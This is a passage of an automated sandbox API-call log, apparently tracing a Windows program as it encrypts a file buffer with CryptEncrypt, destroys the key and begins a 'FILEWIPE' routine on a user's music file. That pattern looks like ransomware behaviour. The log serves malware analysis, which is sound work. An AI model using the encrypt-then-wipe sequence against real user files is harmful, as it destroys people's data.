wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.044] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.044] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.044] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.045] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.045] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064a60, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a60*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.045] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.045] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.045] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.045] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.046] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.046] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.046] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.046] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.046] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x614c, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x6150) returned 1 [0027.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.046] CharLowerBuffW (in: lpsz="byte[24913]", cchLength=0xb | out: lpsz="byte[24913]") returned 0xb [0027.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.047] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.047] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.047] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43862f0*, pdwDataLen=0xe8f3dfdf68*=0x614c, dwBufLen=0x6150 | out: pbData=0xe8f43862f0*, pdwDataLen=0xe8f3dfdf68*=0x6150) returned 1 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.047] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.047] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.047] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.047] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.049] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.049] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.049] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.049] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.049] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.049] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.049] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.049] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.049] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.049] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0027.049] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.049] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.050] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.050] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.050] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.050] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.050] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.050] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.050] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.050] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.050] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.050] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.050] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.050] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.051] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.051] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.051] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.051] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.051] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.051] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.051] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.051] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.053] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 1 [0027.053] TranslateMessage (lpMsg=0xe8f3dfee40) returned 0 [0027.053] DispatchMessageW (lpMsg=0xe8f3dfee40) returned 0x0 [0027.053] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfe470) returned 1 [0027.054] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0027.054] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0027.054] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.055] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.055] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.055] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.055] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\B3ITwwOcNy-dV_k.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\b3itwwocny-dv_k.mp3")) returned 0x20 [0027.055] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.056] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\B3ITwwOcNy-dV_k.mp3", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f4069dd0 [0027.056] FindClose (in: hFindFile=0xe8f4069dd0 | out: hFindFile=0xe8f4069dd0) returned 1 [0027.056] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.056] CharLowerBuffW (in: lpsz="byte[24908]", cchLength=0xb | out: lpsz="byte[24908]") returned 0xb [0027.056] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.056] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.057] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.057] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.058] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0027.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40645b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0027.058] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0027.058] FreeLibrary (hLibModule=0x7ffe2a8b0000) returned 1 [0027.058] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.058] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.059] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.059] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.059] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.059] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.059] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.059] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.059] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.059] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.059] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.060] CharLowerBuffW (in: 